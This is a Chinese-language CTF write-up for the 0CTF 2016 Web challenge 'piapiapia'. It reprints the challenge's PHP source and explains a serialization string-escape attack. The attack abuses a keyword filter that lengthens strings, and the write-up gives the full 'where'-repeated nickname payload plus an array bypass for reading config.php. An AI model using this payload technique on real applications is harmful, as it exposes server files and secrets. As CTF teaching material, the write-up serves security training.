[0CTF2016]piapiapia

admin 2026-06-17 04:53:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了0CTF2016的Web题目piapiapia,通过代码审计发现用户资料更新功能存在反序列化漏洞。关键发现是filter函数对单引号和SQL关键字的过滤存在缺陷,结合序列化操作可构造恶意payload读取数据库中的flag。解题步骤包括下载源码、分析class.php中的过滤逻辑、利用update.php的序列化点进行漏洞利用。 综合评分: 85 文章分类: CTF,WEB安全,代码审计,漏洞分析,实战经验


cover_image

[0CTF 2016]piapiapia

原创

devildollking devildollking

熔城Sec

2026年6月15日 09:00 辽宁

在小说阅读器读本章

去阅读

01

题目简介

  • 题目名称:[0CTF 2016]piapiapia
  • 题目平台:CTF²
  • 题目类型:Web

02

解题步骤

启动并访问靶机

使用dirseach扫描,发现存在压缩包www.zip

访问下载进行解压操作

接下来就是对代码进行解读了,config.php内容如下,发现全局变量flag

<?php$config['hostname'] =&nbsp;'127.0.0.1';$config['username'] =&nbsp;'root';$config['password'] =&nbsp;'';$config['database'] =&nbsp;'';$flag&nbsp;=&nbsp;'';?>

接下来看一下class.php,这里我认为最主要的就是filter方法,过滤了单引号、反斜线及SQL关键字。

<?phprequire('config.php');&nbsp;// 引入配置文件,通常包含数据库连接信息 $config
// user 类继承 mysql 类,实现用户管理功能class&nbsp;user&nbsp;extends&nbsp;mysql&nbsp;{&nbsp; &nbsp;&nbsp;private&nbsp;$table&nbsp;=&nbsp;'users';&nbsp;// 指定数据库中的用户表名
&nbsp; &nbsp;&nbsp;// 检查用户名是否已存在&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;is_exists($username)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;parent::filter($username);&nbsp;// 调用父类的过滤函数(存在安全缺陷)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$where&nbsp;=&nbsp;"username = '$username'"; &nbsp; &nbsp;&nbsp;// 拼接 SQL WHERE 子句,易导致 SQL 注入(虽然 filter 试图过滤)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;parent::select($this->table,&nbsp;$where);&nbsp;// 执行查询并返回结果对象&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 用户注册&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;register($username,&nbsp;$password)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;parent::filter($username);&nbsp;// 过滤用户名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$password&nbsp;=&nbsp;parent::filter($password);&nbsp;// 过滤密码
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$key_list&nbsp;=&nbsp;Array('username',&nbsp;'password'); &nbsp;&nbsp;// 插入的字段名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$value_list&nbsp;=&nbsp;Array($username,&nbsp;md5($password));&nbsp;// 字段值(密码使用 MD5 加密,不安全)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;parent::insert($this->table,&nbsp;$key_list,&nbsp;$value_list);&nbsp;// 执行插入&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 用户登录验证&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;login($username,&nbsp;$password)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;parent::filter($username);&nbsp;// 过滤用户名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$password&nbsp;=&nbsp;parent::filter($password);&nbsp;// 过滤密码
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$where&nbsp;=&nbsp;"username = '$username'"; &nbsp; &nbsp;&nbsp;// 拼接 WHERE 条件&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$object&nbsp;=&nbsp;parent::select($this->table,&nbsp;$where);&nbsp;// 查询用户记录&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($object&nbsp;&&&nbsp;$object->password ===&nbsp;md5($password)) {&nbsp;// 比对密码 MD5 值&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;false;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 获取用户资料(序列化字符串)&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;show_profile($username)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;parent::filter($username);&nbsp;// 过滤用户名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$where&nbsp;=&nbsp;"username = '$username'"; &nbsp; &nbsp;&nbsp;// WHERE 条件&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$object&nbsp;=&nbsp;parent::select($this->table,&nbsp;$where);&nbsp;// 查询用户&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$object->profile; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 返回 profile 字段(序列化存储)&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 更新用户资料&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;update_profile($username,&nbsp;$new_profile)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;parent::filter($username); &nbsp; &nbsp;&nbsp;// 过滤用户名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$new_profile&nbsp;=&nbsp;parent::filter($new_profile);&nbsp;// 过滤新资料内容&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$where&nbsp;=&nbsp;"username = '$username'"; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// WHERE 条件&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;parent::update($this->table,&nbsp;'profile',&nbsp;$new_profile,&nbsp;$where);&nbsp;// 执行更新&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 魔术方法,将对象转为字符串时返回类名&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;__tostring()&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;__class__;&nbsp; &nbsp; }}
// mysql 类,封装数据库操作(使用已废弃的 mysql_* 函数)class&nbsp;mysql&nbsp;{&nbsp; &nbsp;&nbsp;private&nbsp;$link&nbsp;=&nbsp;null;&nbsp;// 数据库连接资源
&nbsp; &nbsp;&nbsp;// 连接数据库&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;connect($config)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->link =&nbsp;mysql_connect(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$config['hostname'],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$config['username'],&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$config['password']&nbsp; &nbsp; &nbsp; &nbsp; );&nbsp;// 建立 MySQL 连接(mysql_connect 已过时)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;mysql_select_db($config['database']);&nbsp;// 选择数据库&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;mysql_query("SET sql_mode='strict_all_tables'");&nbsp;// 设置严格 SQL 模式
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;$this->link;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 查询单条记录(仅返回第一条)&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;select($table,&nbsp;$where,&nbsp;$ret&nbsp;=&nbsp;'*')&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$sql&nbsp;=&nbsp;"SELECT&nbsp;$ret&nbsp;FROM&nbsp;$table&nbsp;WHERE&nbsp;$where";&nbsp;// 拼接 SQL 查询语句(严重 SQL 注入风险)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$result&nbsp;=&nbsp;mysql_query($sql,&nbsp;$this->link); &nbsp; &nbsp; &nbsp;// 执行查询&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;mysql_fetch_object($result); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 取回结果对象&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 插入记录&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;insert($table,&nbsp;$key_list,&nbsp;$value_list)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$key&nbsp;=&nbsp;implode(',',&nbsp;$key_list); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 拼接字段名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$value&nbsp;=&nbsp;'\''&nbsp;.&nbsp;implode('\',\'',&nbsp;$value_list) .&nbsp;'\''; &nbsp; &nbsp;// 拼接值,加单引号&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$sql&nbsp;=&nbsp;"INSERT INTO&nbsp;$table&nbsp;($key) VALUES ($value)"; &nbsp; &nbsp; &nbsp;// 拼接 INSERT 语句&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;mysql_query($sql); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 执行插入&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 更新记录&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;update($table,&nbsp;$key,&nbsp;$value,&nbsp;$where)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$sql&nbsp;=&nbsp;"UPDATE&nbsp;$table&nbsp;SET&nbsp;$key&nbsp;= '$value' WHERE&nbsp;$where";&nbsp;// 拼接 UPDATE 语句&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;mysql_query($sql); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 执行更新&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 输入过滤函数(存在绕过风险)&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;filter($string)&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 将单引号 ' 和反斜线 \ 替换为下划线 _&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$escape&nbsp;=&nbsp;array('\'',&nbsp;'\\\\');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$escape&nbsp;=&nbsp;'/'&nbsp;.&nbsp;implode('|',&nbsp;$escape) .&nbsp;'/';&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$string&nbsp;=&nbsp;preg_replace($escape,&nbsp;'_',&nbsp;$string);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 将危险 SQL 关键字替换为 'hacker'(不区分大小写)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$safe&nbsp;=&nbsp;array('select',&nbsp;'insert',&nbsp;'update',&nbsp;'delete',&nbsp;'where');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$safe&nbsp;=&nbsp;'/'&nbsp;.&nbsp;implode('|',&nbsp;$safe) .&nbsp;'/i';&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;preg_replace($safe,&nbsp;'hacker',&nbsp;$string);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 魔术方法,对象转字符串返回类名&nbsp; &nbsp;&nbsp;public&nbsp;function&nbsp;__tostring()&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;__class__;&nbsp; &nbsp; }}
// 启动会话session_start();
// 实例化 user 对象并连接数据库$user&nbsp;=&nbsp;new&nbsp;user();$user->connect($config);&nbsp;// $config 来自 config.php,包含数据库连接参数?>

接下来看一下update.php,我认为这里最主要的就是serialize($profile)序列化操作。

<?php&nbsp; &nbsp;&nbsp;// 引入 class.php 文件,该文件包含 user 类和 mysql 类的定义,以及创建 $user 对象和启动 session&nbsp; &nbsp;&nbsp;require_once('class.php');&nbsp; &nbsp;&nbsp;// 检查当前会话中是否有 username,即用户是否已登录&nbsp; &nbsp;&nbsp;if($_SESSION['username'] ==&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Login First'); &nbsp;&nbsp;// 未登录则终止并输出提示&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 检查是否通过 POST 提交了 phone、email、nickname 以及上传了 photo 文件&nbsp; &nbsp;&nbsp;if($_POST['phone'] &&&nbsp;$_POST['email'] &&&nbsp;$_POST['nickname'] &&&nbsp;$_FILES['photo']) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 从会话中获取已登录的用户名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;$_SESSION['username'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 验证手机号:必须是11位数字(正则:^\d{11}$)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(!preg_match('/^\d{11}$/',&nbsp;$_POST['phone']))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Invalid phone');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 验证邮箱格式:允许下划线、字母数字,每部分1-10字符,域名部分类似&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 格式:[email protected],不严格但有一定限制&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/',&nbsp;$_POST['email']))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Invalid email');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 验证昵称:只允许字母、数字、下划线,且长度不超过10&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(preg_match('/[^a-zA-Z0-9_]/',&nbsp;$_POST['nickname']) ||&nbsp;strlen($_POST['nickname']) >&nbsp;10)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Invalid nickname');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 获取上传的文件信息&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$file&nbsp;=&nbsp;$_FILES['photo'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 检查文件大小:小于5字节或大于1MB则报错(注意:<5 可能允许0或1字节,但move_uploaded_file可能失败)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if($file['size'] <&nbsp;5&nbsp;or&nbsp;$file['size'] >&nbsp;1000000)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Photo size error');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 将上传的临时文件移动到 upload/ 目录下,文件名使用原始文件名的 MD5 值(无扩展名)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;move_uploaded_file($file['tmp_name'],&nbsp;'upload/'&nbsp;.&nbsp;md5($file['name']));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 构建要保存的用户资料数组&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$profile['phone'] =&nbsp;$_POST['phone'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$profile['email'] =&nbsp;$_POST['email'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$profile['nickname'] =&nbsp;$_POST['nickname'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$profile['photo'] =&nbsp;'upload/'&nbsp;.&nbsp;md5($file['name']); &nbsp;&nbsp;// 存储图片的访问路径&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 序列化资料数组,并调用 user 类的 update_profile 方法更新数据库中当前用户的 profile 字段&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$user->update_profile($username,&nbsp;serialize($profile));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 输出成功信息,并提供一个链接到 profile.php 查看资料&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;'Update Profile Success!<a href="profile.php">Your Profile</a>';&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 如果未完整提交 POST 数据,则不执行更新,可能输出表单页面(原代码未闭合 else 的大括号?此处省略了表单 HTML)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 实际代码中这里可能包含一个 HTML 表单,让用户填写资料?>

既然看到profile就看一下profile.php。我认为profile主要是将字符串还原为数组直接输出。

<?php&nbsp; &nbsp;&nbsp;// 引入 class.php,其中包含 user 类、mysql 类的定义,以及创建 $user 对象并启动 session&nbsp; &nbsp;&nbsp;require_once('class.php');&nbsp; &nbsp;&nbsp;// 检查用户是否已登录(会话中是否存在 username)&nbsp; &nbsp;&nbsp;if($_SESSION['username'] ==&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Login First'); &nbsp; &nbsp;&nbsp;// 未登录则终止并提示&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 从会话中获取当前登录的用户名&nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;$_SESSION['username'];&nbsp; &nbsp;&nbsp;// 调用 user 对象的 show_profile 方法,从数据库获取该用户序列化后的个人资料&nbsp; &nbsp;&nbsp;$profile&nbsp;=&nbsp;$user->show_profile($username);&nbsp; &nbsp;&nbsp;// 如果资料为空(用户尚未填写过资料),则重定向到 update.php 进行填写&nbsp; &nbsp;&nbsp;if($profile&nbsp;==&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;header('Location: update.php');&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 反序列化从数据库取出的资料字符串,将其还原为数组&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$profile&nbsp;=&nbsp;unserialize($profile);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 从数组中提取各个字段&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$phone&nbsp;=&nbsp;$profile['phone'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$email&nbsp;=&nbsp;$profile['email'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$nickname&nbsp;=&nbsp;$profile['nickname'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 读取照片文件内容并转换为 base64 编码(通常用于嵌入 HTML 中的 data:image 显示)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$photo&nbsp;=&nbsp;base64_encode(file_get_contents($profile['photo']));

接下来再看一下index.php,一个简单的登录

<?php&nbsp; &nbsp;&nbsp;// 引入 class.php,包含用户类、数据库操作类以及 $user 对象和 session 启动&nbsp; &nbsp;&nbsp;require_once('class.php');&nbsp; &nbsp;&nbsp;// 检查当前是否已登录(会话中存在 username)&nbsp; &nbsp;&nbsp;if($_SESSION['username']) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;header('Location: profile.php'); &nbsp;// 已登录则直接跳转到个人资料页&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 终止脚本执行&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;// 检查是否通过 POST 提交了用户名和密码&nbsp; &nbsp;&nbsp;if($_POST['username'] &&&nbsp;$_POST['password']) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;$_POST['username']; &nbsp;&nbsp;// 获取提交的用户名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$password&nbsp;=&nbsp;$_POST['password']; &nbsp;&nbsp;// 获取提交的密码&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 验证用户名长度:必须在 3 到 16 个字符之间&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(strlen($username) <&nbsp;3&nbsp;or strlen($username) >&nbsp;16)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Invalid user name');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 验证密码长度:必须在 3 到 16 个字符之间&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(strlen($password) <&nbsp;3&nbsp;or strlen($password) >&nbsp;16)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Invalid password');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 调用 user 类的 login 方法进行身份验证&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if($user->login($username,&nbsp;$password)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$_SESSION['username'] =&nbsp;$username; &nbsp;// 登录成功,将用户名存入会话&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;header('Location: profile.php'); &nbsp; &nbsp;&nbsp;// 跳转到个人资料页&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Invalid user name or password');&nbsp;// 登录失败,输出错误信息&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 如果既没有登录也没有提交 POST 数据,则执行此处

看一下register.php

<?php&nbsp; &nbsp;&nbsp;// 引入 class.php,其中包含 user 类、mysql 类以及 $user 对象的创建和 session 启动&nbsp; &nbsp;&nbsp;require_once('class.php');&nbsp; &nbsp;&nbsp;// 检查是否通过 POST 提交了用户名和密码&nbsp; &nbsp;&nbsp;if($_POST['username'] &&&nbsp;$_POST['password']) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$username&nbsp;=&nbsp;$_POST['username']; &nbsp;&nbsp;// 获取提交的用户名&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$password&nbsp;=&nbsp;$_POST['password']; &nbsp;&nbsp;// 获取提交的密码&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 验证用户名长度:必须在 3 到 16 个字符之间&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(strlen($username) <&nbsp;3&nbsp;or strlen($username) >&nbsp;16)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Invalid user name');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 验证密码长度:必须在 3 到 16 个字符之间&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(strlen($password) <&nbsp;3&nbsp;or strlen($password) >&nbsp;16)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('Invalid password');&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 调用 user 类的 is_exists 方法检查用户名是否已存在&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if(!$user->is_exists($username)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 用户名不存在,调用 register 方法注册新用户(密码会被 MD5 处理)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$user->register($username,&nbsp;$password);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 注册成功后输出成功信息,并提供链接让用户跳转到登录页&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;'Register OK!<a href="index.php">Please Login</a>';&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 用户名已存在,输出错误信息&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;die('User name Already Exists');&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;else&nbsp;{

接下来就可以进行具体操作了,首先我们可以利用update.php序列化,也将s:10:”config.php”;}添加到序列化结果后面,反序列化的时候就能通过profile.php中file_get_content()方法来读取config.php的文件内容。

update.php中$nickname可以成为利用点,$nickname后面需要序列化的内容为

;}s:5:"photo";s:10:"config.php";}

长度为34,所以挤出34位长度,这时候利用class.php中的filter代码,每次过滤where关键字就会将字符串的长度添加1位,所以我们需要在$nickname中输入34个where,然后将;}s:5:”photo”;s:10:”config.php”;}添加到关键字后面

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

然后接下来注册一个账户,注册完成后登录,会让你更新信息

然后修改下图标红的两个参数,修改$nickename为nickename[]进行数组绕过和$nickename的值

然后访问/profile.php

然后右键查看源代码

这里就是base64加密的config.php的内容,进行解密即可


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:熔城Sec devildollking devildollking《[0CTF 2016]piapiapia》

[0CTF2016]piapiapia 网络安全文章

[0CTF2016]piapiapia

文章总结: 该文档分析了0CTF2016的Web题目piapiapia,通过代码审计发现用户资料更新功能存在反序列化漏洞。关键发现是filter函数对单引号和S
评论:0   参与:  0